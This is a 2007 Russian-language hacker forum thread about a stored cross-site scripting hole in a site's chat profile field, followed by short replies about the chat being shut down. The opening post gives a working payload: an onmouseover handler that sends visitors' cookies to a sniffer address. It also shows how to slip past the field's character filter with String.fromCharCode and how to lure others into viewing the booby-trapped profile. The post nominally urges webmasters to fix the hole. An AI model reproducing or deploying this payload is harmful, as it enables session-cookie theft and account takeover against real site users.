"хакер сидит на бажном сайте"
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
"хакер сидит на бажном сайте" - 2007-07-22 07:49:19.166666
|
|
|
ХHTTP
Сообщений: 102
Оценки: 0
Присоединился: 2007-07-07 05:58:45.930000
|
Инфо с ачата…
Веб мастеров пара призвать к исправлениям…
_________________________________________
www.xakep.ru
хсс в чате
уязвимо любое поле, но только одно, там нет ограничения на кол-во символов, но стоит фильтрация символов:
" ? +
это можно спокойно обойти через String.fromCharCode()
сам код идет в виде
"onmouseover="navigate('адрес_снифера'.concat(document.cookie))"
или просто
"onmouseover="alert('xss')"
кодируем
navigate('адрес_снифера'.concat(document.cookie))
с помощью http://ha.ckers.org/xss.html
получится примерно
Цитата: navigate
и пишем в виде
"onmouseover="String.fromCharCode(то что закодировали)"
ну чтоб все заработало там ставится галка "Допустить других к просмотру профайла" и говорим посмотрите мой профиль вот так)
___________________________
|
|
|
|
|
RE: "хакер сидит на бажном сайте" - 2007-07-22 07:51:35.386666
|
|
|
ХHTTP
Сообщений: 102
Оценки: 0
Присоединился: 2007-07-07 05:58:45.930000
|
Я тихо болдею…
Одно дефейса видимо вам мало.
|
|
|
|
|
RE: "хакер сидит на бажном сайте" - 2007-07-22 15:40:16.090000
|
|
|
хаkep2323
Сообщений: 2726
Оценки: 2
Присоединился: 2007-04-07 17:50:58.343333
|
Здесь модеры не появляются. Пиши в "Вопросы по сайту"
|
|
|
|
|
RE: "хакер сидит на бажном сайте" - 2007-07-23 01:32:28.193333
|
|
|
ХHTTP
Сообщений: 102
Оценки: 0
Присоединился: 2007-07-07 05:58:45.930000
|
Вижу.
|
|
|
|
|
RE: "хакер сидит на бажном сайте" - 2007-08-03 21:55:43.470000
|
|
|
xacneo
Сообщений: 190
Оценки: 0
Присоединился: 2006-08-16 16:58:14
|
Я с рождения этого чата на нем сижу он как был дырявым так и остался_) Его опять закрыли на реконструкция _) Но всеравно никокого толку это не даст_) [sm=scull.gif]
|
|
|
|
|
RE: "хакер сидит на бажном сайте" - 2007-08-03 23:17:44.906666
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
гг, а я скока не пытался в чат зайти, всевремя закрыто =)
|
|
|
|
|
RE: "хакер сидит на бажном сайте" - 2007-08-04 07:28:02.216666
|
|
|
Повелитель ботов
Сообщений: 49
Оценки: 0
Присоединился: 2007-07-17 13:56:27.460000
|
1) Чат не закрыт а снёсн
2) Чат снесён из за атаки ботов,сервак ГеймЛенда очень тормозил из за ботов,
именно по этому чат снесли
3) И нет смысла тут его делать
4) Лучше форум делайте мля :D
|
|
|
|
|
|
